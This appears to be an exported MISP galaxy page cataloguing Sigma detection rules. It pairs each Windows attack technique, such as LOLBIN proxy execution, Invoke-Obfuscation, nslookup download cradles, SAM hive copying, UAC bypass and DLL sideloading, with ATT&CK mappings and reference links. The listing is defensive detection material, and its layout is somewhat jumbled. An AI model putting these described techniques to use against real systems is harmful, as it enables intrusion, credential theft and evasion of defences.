OpenWith.exe Executes Specified Binary has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"

Table 10427. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/harr0ey/status/991670870384021504">https://twitter.com/harr0ey/status/991670870384021504</a></td>
</tr>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Opnwith.yml">https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Opnwith.yml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openwith.yml</a></td>
</tr>
</tbody>
</table>
Scheduled Task Executing Encoded Payload from Registry

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

The tag is: misp-galaxy:sigma-rules="Scheduled Task Executing Encoded Payload from Registry"

View relationships graph

Scheduled Task Executing Encoded Payload from Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10428. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/">https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader_encoded.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader_encoded.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call

Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"

The tag is: misp-galaxy:sigma-rules="Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call"

View relationships graph

Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 10429. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/">https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/</a></td>
</tr>
</tbody>
</table>
**Suspicious Schtasks From Env Var Folder**

Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware

The tag is: `misp-galaxy:sigma-rules="Suspicious Schtasks From Env Var Folder"`

View relationships graph

Suspicious Schtasks From Env Var Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

---

**Potential File Overwrite Via Sysinternals SDelete**

Detects the use of SDelete to erase a file not the free space

The tag is: `misp-galaxy:sigma-rules="Potential File Overwrite Via Sysinternals SDelete"`

View relationships graph

Potential File Overwrite Via Sysinternals SDelete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

---

Table 10430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04">https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/">https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_env_folder.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_env_folder.yml</a></td>
</tr>
</tbody>
</table>

Table 10431. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md</a></td>
</tr>
</tbody>
</table>
PowerShell Script Change Permission Via Set-Acl

Detects PowerShell execution to set the ACL of a file or a folder

The tag is: `misp-galaxy:sigma-rules="PowerShell Script Change Permission Via Set-Acl"`

<table>
<thead>
<tr>
<th>Table 10432. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md">https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl.yml</a></td>
</tr>
</tbody>
</table>

Potential LethalHTA Technique Execution

Detects potential LethalHTA technique where the "mshta.exe" is spawned by an "svchost.exe" process

The tag is: `misp-galaxy:sigma-rules="Potential LethalHTA Technique Execution"`

View relationships graph

Potential LethalHTA Technique Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10433. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_lethalhta_technique.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - LogMeIn Execution

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when
compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - LogMeIn Execution"`

View relationships graph

Remote Access Tool - LogMeIn Execution has relationships with:


**Table 10434. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_logmein.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_logmein.yml</a></td>
</tr>
</tbody>
</table>

**Visual Studio NodejsTools PressAnyKey Renamed Execution**

Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries

The tag is: `misp-galaxy:sigma-rules="Visual Studio NodejsTools PressAnyKey Renamed Execution"`

View relationships graph

Visual Studio NodejsTools PressAnyKey Renamed Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

**Table 10435. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1463526834918854661">https://twitter.com/mrd0x/status/1463526834918854661</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5">https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5</a></td>
</tr>
</tbody>
</table>

**Invoke-Obfuscation COMPRESS OBFUSCATION**

Detects Obfuscated Powershell via COMPRESS OBFUSCATION
The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION"`

**View relationships graph**

Invoke-Obfuscation COMPRESS OBFUSCATION has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 10436. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/issues/1009">https://github.com/SigmaHQ/sigma/issues/1009</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_compress.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_compress.yml</a></td>
</tr>
</tbody>
</table>

**Insecure Proxy/DOH Transfer Via Curl.EXE**

Detects execution of "curl.exe" with the "insecure" flag over proxy or DOH.

The tag is: `misp-galaxy:sigma-rules="Insecure Proxy/DOH Transfer Via Curl.EXE"`

Table 10437. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_porxy_or_doh.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_insecure_porxy_or_doh.yml</a></td>
</tr>
</tbody>
</table>

**MpiExec Lolbin**

Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary

The tag is: `misp-galaxy:sigma-rules="MpiExec Lolbin"`

**View relationships graph**

MpiExec Lolbin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10438. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1465058133303246867">https://twitter.com/mrd0x/status/1465058133303246867</a></td>
</tr>
</tbody>
</table>
HackTool - F-Secure C3 Load by Rundll32

F-Secure C3 produces DLLs with a default exported StartNodeRelay function.

The tag is: misp-galaxy:sigma-rules="HackTool - F-Secure C3 Load by Rundll32"

View relationships graph

HackTool - F-Secure C3 Load by Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Potential Arbitrary DLL Load Using Winword

Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.

The tag is: misp-galaxy:sigma-rules="Potential Arbitrary DLL Load Using Winword"

View relationships graph

Potential Arbitrary DLL Load Using Winword has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
Invoke-Obfuscation Obfuscated IEX Invocation

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation"`

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10441. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843ed0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888">https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843ed0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888</a></td>
</tr>
</tbody>
</table>

Suspicious Registry Modification From ADS Via Regini.EXE

Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.

The tag is: `misp-galaxy:sigma-rules="Suspicious Registry Modification From ADS Via Regini.EXE"`

View relationships graph

Suspicious Registry Modification From ADS Via Regini.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

Table 10442. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regini/">https://lolbas-project.github.io/lolbas/Binaries/Regini/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/api0cradle/cdd2d0ec9abb686f0e89306e277b8f">https://gist.github.com/api0cradle/cdd2d0ec9abb686f0e89306e277b8f</a></td>
</tr>
</tbody>
</table>
Potential Download/Upload Activity Using Type Command

Detects usage of the "type" command to download/upload data from WebDAV server

The tag is: misp-galaxy:sigma-rules="Potential Download/Upload Activity Using Type Command"

View relationships graph

Potential Download/Upload Activity Using Type Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10443. Table References

Links

- https://mrOrange.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_type.yml

Remotely Hosted HTA File Executed Via Mshta.EXE

Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file

The tag is: misp-galaxy:sigma-rules="Remotely Hosted HTA File Executed Via Mshta.EXE"

View relationships graph

Remotely Hosted HTA File Executed Via Mshta.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 10444. Table References

Links

PowerShell Set-Acl On Windows Folder

Detects PowerShell scripts to set the ACL to a file in the Windows folder

The tag is: misp-galaxy: sigma-rules="PowerShell Set-Acl On Windows Folder"

Table 10445. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md">https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_acl_susp_location.yml</a></td>
</tr>
</tbody>
</table>

Potential Memory Dumping Activity Via LiveKD

Detects execution of LiveKD based on PE metadata or image name

The tag is: misp-galaxy: sigma-rules="Potential Memory Dumping Activity Via LiveKD"

Table 10446. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_livekd_execution.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Mstsc.EXE Execution With Local RDP File

Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.

The tag is: misp-galaxy: sigma-rules="Suspicious Mstsc.EXE Execution With Local RDP File"

View relationships graph

Suspicious Mstsc.EXE Execution With Local RDP File has relationships with:


Table 10447. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/">https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/</a></td>
</tr>
<tr>
<td><a href="https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/">https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/</a></td>
</tr>
</tbody>
</table>
Suspicious Extrac32 Execution

Download or Copy file with Extrac32

The tag is: `misp-galaxy:sigma-rules="Suspicious Extrac32 Execution"`

View relationships graph

Suspicious Extrac32 Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Potential RDP Session Hijacking Activity

Detects potential RDP Session Hijacking activity on Windows systems

The tag is: `misp-galaxy:sigma-rules="Potential RDP Session Hijacking Activity"`

Nslookup PowerShell Download Cradle - ProcessCreation

Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records

The tag is: `misp-galaxy:sigma-rules="Nslookup PowerShell Download Cradle - ProcessCreation"`
Suspicious Msbuild Execution By Uncommon Parent Process

Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process

The tag is: misp-galaxy:sigma-rules="Suspicious Msbuild Execution By Uncommon Parent Process"

Table 10451. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/">https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/</a></td>
</tr>
<tr>
<td><a href="https://www.echotrail.io/insights/search/msbuild.exe">https://www.echotrail.io/insights/search/msbuild.exe</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msbuild_susp_parent_process.yml</a></td>
</tr>
</tbody>
</table>

Rar Usage with Password and Compression Level

Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.

The tag is: misp-galaxy:sigma-rules="Rar Usage with Password and Compression Level"

View relationships graph

Rar Usage with Password and Compression Level has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 10452. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd8c8d3742bfcf3d5fee2a9/atomics/T1560.001/T1560.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd8c8d3742bfcf3d5fee2a9/atomics/T1560.001/T1560.001.md</a></td>
</tr>
<tr>
<td><a href="https://ss64.com/bash/rar.html">https://ss64.com/bash/rar.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compression_with_password.yml</a></td>
</tr>
</tbody>
</table>
**Potentially Suspicious EventLog Recon Activity Using Log Query Utilities**

Detects execution of different log query utilities to search and dump the content of specific event logs or look for specific event IDs.

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious EventLog Recon Activity Using Log Query Utilities"`

**View relationships graph**

Potentially Suspicious EventLog Recon Activity Using Log Query Utilities has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"` with estimative-language:likelihood-probability="almost-certain"

**Table 10453. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.group-ib.com/blog/apt41-world-tour-2021/">https://www.group-ib.com/blog/apt41-world-tour-2021/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a">https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/">https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon.yml</a></td>
</tr>
</tbody>
</table>

**Renamed Office Binary Execution**

Detects the execution of a renamed office binary

The tag is: `misp-galaxy:sigma-rules="Renamed Office Binary Execution"`

**Table 10454. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://infosec.exchange/@sbousseaden/109542254124022664">https://infosec.exchange/@sbousseaden/109542254124022664</a></td>
</tr>
</tbody>
</table>

6550
**Suspicious Advpack Call Via Rundll32.EXE**

Detects execution of "rundll32" calling "advpack.dll" with potential obfuscated ordinal calls in order to leverage the "RegisterOCX" function

The tag is: *misp-galaxy:sigma-rules="Suspicious Advpack Call Via Rundll32.EXE"*

---

**TrustedPath UAC Bypass Pattern**

Detects indicators of a UAC bypass method by mocking directories

The tag is: *misp-galaxy:sigma-rules="TrustedPath UAC Bypass Pattern"*

---

**New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE**

Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)
The tag is: `misp-galaxy:sigma-rules="New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE"`

New DNS ServerLevelPluginDll Installed Via Dnscmd.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10457. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html">https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml</a></td>
</tr>
</tbody>
</table>

The tag is: `misp-galaxy:sigma-rules="File Download Using Notepad++ GUP Utility"`

File Download Using Notepad++ GUP Utility

Detects execution of the Notepad updater (gup) from a process other than Notepad to download files.

File Download Using Notepad++ GUP Utility has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10458. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1535322182863179776">https://twitter.com/nas_bench/status/1535322182863179776</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gup_download.yml</a></td>
</tr>
</tbody>
</table>

The tag is: `misp-galaxy:sigma-rules="PowerShell SAM Copy"`

PowerShell SAM Copy

Detects suspicious PowerShell scripts accessing SAM hives
PowerShell SAM Copy has relationships with:


### HackTool - Certify Execution

Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.

The tag is: `misp-galaxy:sigma-rules="HackTool - Certify Execution"`

### UAC Bypass Using NTFS Reparse Point - Process

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using NTFS Reparse Point - Process"`
Renamed ProcDump Execution

Detects the execution of a renamed ProcDump executable often used by attackers or malware.

The tag is: `misp-galaxy:sigma-rules="Renamed ProcDump Execution"`

View relationships graph

Renamed ProcDump Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/procdump">https://docs.microsoft.com/en-us/sysinternals/downloads/procdump</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml</a></td>
</tr>
</tbody>
</table>

PUA - Nimgrab Execution

Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.

The tag is: `misp-galaxy:sigma-rules="PUA - Nimgrab Execution"`

View relationships graph

PUA - Nimgrab Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 10463. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md">https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimgrab.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nimgrab.yml</a></td>
</tr>
</tbody>
</table>
Application Whitelisting Bypass via Dxcap.exe

Detects execution of Dxcap.exe

The tag is: `misp-galaxy:sigma-rules="Application Whitelisting Bypass via Dxcap.exe"`

View relationships graph

Application Whitelisting Bypass via Dxcap.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10464. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/harr0ey/status/992008180904419328">https://twitter.com/harr0ey/status/992008180904419328</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_dxcap.yml</a></td>
</tr>
</tbody>
</table>

Potential Mpclient.DLL Sideloading Via Defender Binaries

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.

The tag is: `misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideloading Via Defender Binaries"`

View relationships graph

Potential Mpclient.DLL Sideloading Via Defender Binaries has relationships with:


<table>
<thead>
<tr>
<th>Table 10465. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_dll_sideload_defender.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_dll_sideload_defender.yml</a></td>
</tr>
</tbody>
</table>

Xwizard DLL Sideloading

Detects the execution of Xwizard tool from the non-default directory which can be used to sideload
a custom xwizards.dll

The tag is: misp-galaxy:sigma-rules="Xwizard DLL Sideload"

View relationships graph

Xwizard DLL Sideload has relationships with:


Table 10466. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/">http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Xwizard/">https://lolbas-project.github.io/lolbas/Binaries/Xwizard/</a></td>
</tr>
<tr>
